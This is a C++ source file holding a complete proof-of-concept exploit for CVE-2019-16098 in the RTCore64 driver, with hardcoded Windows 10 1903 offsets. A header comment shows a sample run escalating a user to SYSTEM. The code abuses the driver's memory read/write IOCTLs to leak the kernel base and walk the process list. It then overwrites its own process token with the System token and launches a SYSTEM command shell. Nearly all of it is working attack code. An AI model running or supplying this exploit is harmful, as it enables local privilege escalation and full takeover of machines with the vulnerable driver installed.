// WARNING: Hardcoded Windows 10 x64 Version 1903 offsets! // Microsoft Windows [Version 10.0.18362.295] // (c) 2019 Microsoft Corporation. All rights reserved. // // C:\Users\Barakat\source\repos\CVE-2019-16098>whoami // Barakat // // C:\Users\Barakat\source\repos\CVE-2019-16098>out\build\x64-Debug\CVE-2019-16098.exe // [*] Device object handle has been obtained // [*] Ntoskrnl base address: FFFFF80734200000 // [*] PsInitialSystemProcess address: FFFFC288A607F300 // [*] System process token: FFFF9703A9E061B0 // [*] Current process address: FFFFC288B7959400 // [*] Current process token: FFFF9703B9D785F0 // [*] Stealing System process token ... // [*] Spawning new shell ... // Microsoft Windows [Version 10.0.18362.295] // (c) 2019 Microsoft Corporation. All rights reserved. // // C:\Users\Barakat\source\repos\CVE-2019-16098>whoami // SYSTEM // // C:\Users\Barakat\source\repos\CVE-2019-16098> #include #include struct RTCORE64_MSR_READ { DWORD Register; DWORD ValueHigh; DWORD ValueLow; }; static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes"); struct RTCORE64_MEMORY_READ { BYTE Pad0[8]; DWORD64 Address; BYTE Pad1[8]; DWORD ReadSize; DWORD Value; BYTE Pad3[16]; }; static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes"); struct RTCORE64_MEMORY_WRITE { BYTE Pad0[8]; DWORD64 Address; BYTE Pad1[8]; DWORD ReadSize; DWORD Value; BYTE Pad3[16]; }; static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes"); static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030; static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048; static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c; void Log(const char* Message, ...) { const auto file = stderr; va_list Args; va_start(Args, Message); std::vfprintf(file, Message, Args); std::fputc('\n', file); va_end(Args); } DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) { RTCORE64_MEMORY_READ MemoryRead{}; MemoryRead.Address = Address; MemoryRead.ReadSize = Size; DWORD BytesReturned; DeviceIoControl(Device, RTCORE64_MEMORY_READ_CODE, &MemoryRead, sizeof(MemoryRead), &MemoryRead, sizeof(MemoryRead), &BytesReturned, nullptr); return MemoryRead.Value; } void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) { RTCORE64_MEMORY_READ MemoryRead{}; MemoryRead.Address = Address; MemoryRead.ReadSize = Size; MemoryRead.Value = Value; DWORD BytesReturned; DeviceIoControl(Device, RTCORE64_MEMORY_WRITE_CODE, &MemoryRead, sizeof(MemoryRead), &MemoryRead, sizeof(MemoryRead), &BytesReturned, nullptr); } WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) { return ReadMemoryPrimitive(Device, 2, Address) & 0xffff; } DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) { return ReadMemoryPrimitive(Device, 4, Address); } DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) { return (static_cast(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address); } void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) { WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff); WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32); } int main() { const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr); if (Device == INVALID_HANDLE_VALUE) { Log("[!] Unable to obtain a handle to the device object"); return -1; } Log("[*] Device object handle has been obtained"); // Leaking Ntoskrnl.exe base address RTCORE64_MSR_READ MsrRead{}; MsrRead.Register = 0xc0000082; DWORD BytesReturned; DeviceIoControl(Device, RTCORE64_MSR_READ_CODE, &MsrRead, sizeof(MsrRead), &MsrRead, sizeof(MsrRead), &BytesReturned, nullptr); auto PageWithinNtoskrnl = (MsrRead.ValueLow & 0xfffff000) | (static_cast(MsrRead.ValueHigh) << 32); for (;;) { if (ReadMemoryWORD(Device, PageWithinNtoskrnl) == 0x5a4d) { break; } PageWithinNtoskrnl -= 0x1000; } const auto NtoskrnlBaseAddress = PageWithinNtoskrnl; Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress); // Locating PsInitialSystemProcess address HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe"); const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast( GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast(Ntoskrnl); FreeLibrary(Ntoskrnl); const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset); Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress); // Windows 10 (x64) Version 1903 const DWORD64 UniqueProcessIdOffset = 0x02e8; const DWORD64 ActiveProcessLinksOffset = 0x02f0; const DWORD64 TokenOffset = 0x0360; // Get token value of System process const DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + TokenOffset) & ~15; Log("[*] System process token: %p", SystemProcessToken); // Find our process in active process list const DWORD64 CurrentProcessId = static_cast(GetCurrentProcessId()); DWORD64 ProcessHead = PsInitialSystemProcessAddress + ActiveProcessLinksOffset; DWORD64 CurrentProcessAddress = ProcessHead; do { const DWORD64 ProcessAddress = CurrentProcessAddress - ActiveProcessLinksOffset; const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + UniqueProcessIdOffset); if (UniqueProcessId == CurrentProcessId) { break; } CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + ActiveProcessLinksOffset); } while (CurrentProcessAddress != ProcessHead); CurrentProcessAddress -= ActiveProcessLinksOffset; Log("[*] Current process address: %p", CurrentProcessAddress); // Reading current process token const DWORD64 CurrentProcessFastToken = ReadMemoryDWORD64(Device, CurrentProcessAddress + TokenOffset); const DWORD64 CurrentProcessTokenReferenceCounter = CurrentProcessFastToken & 15; const DWORD64 CurrentProcessToken = CurrentProcessFastToken & ~15; Log("[*] Current process token: %p", CurrentProcessToken); // Stealing System process token Log("[*] Stealing System process token ..."); WriteMemoryDWORD64(Device, CurrentProcessAddress + TokenOffset, CurrentProcessTokenReferenceCounter | SystemProcessToken); // Cleanup CloseHandle(Device); // Spawn a new shell Log("[*] Spawning new shell ..."); STARTUPINFOW StartupInfo{}; StartupInfo.cb = sizeof(StartupInfo); PROCESS_INFORMATION ProcessInformation; CreateProcessW(LR"(C:\Windows\System32\cmd.exe)", nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &StartupInfo, &ProcessInformation); WaitForSingleObject(ProcessInformation.hProcess, INFINITE); CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); }